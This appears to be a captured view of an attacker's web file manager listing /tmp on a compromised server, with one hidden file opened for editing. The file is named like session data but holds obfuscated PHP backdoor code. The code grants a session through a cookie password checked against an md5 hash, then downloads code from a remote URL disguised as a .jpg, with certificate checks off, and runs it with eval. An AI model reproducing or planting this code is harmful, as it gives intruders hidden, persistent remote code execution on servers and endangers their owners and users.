FM / tmp

/tmp

Name	Size	Mode	Actions
.priv/	-	1733	rm
.sess-6dc9b65a.dat	1180	0604	edit dl rm
.sess-280c9bf8.dat	1180	0604	edit dl rm
.sess-ac697833.dat	1180	0604	edit dl rm
.sess-acb387d4.dat	1180	0604	edit dl rm

Edit: /tmp/.sess-ac697833.dat (1180B)

<?php 
session_start();
function geturlsinfo($url) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\x4d\157\172\x69\x6c\154\141\57\x35\x2e\x30"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $data = curl_exec($conn); curl_close($conn); return $data; }
function innnnnn() { return isset($_SESSION["\154\157\147\147\145\144\x5f\x69\156"]) && $_SESSION["\154\157\147\x67\145\144\137\151\x6e"] === true; }
if (isset($_COOKIE["\x78\170\x78\170"])) {
    $cook = $_COOKIE["\170\x78\x78\x78"]; $hash = "\x38\146\71\64\x31\x33\x33\66\x34\x66\63\x63\143\x35\63\70\62\64\144\x33\x30\144\x32\146\x64\142\71\66\67\61\x39\61"; if (md5($cook) === $hash) { $_SESSION["\154\x6f\147\147\145\144\x5f\x69\x6e"] = true; }
     else 
    { echo "\111\156\143\157\x72\x72\145\143\164\40\170\170\170\170\x2e"; } }
if (innnnnn()) { $url = "\150\164\164\160\163\x3a\x2f\x2f\153\141\171\145\61\63\63\67\56\160\141\147\145\163\56\x64\145\x76\x2f\163\164\146\165\x2f\155\56\152\160\147";
$content = geturlsinfo($url);
eval("\77\x3e" . $content); }

cmd: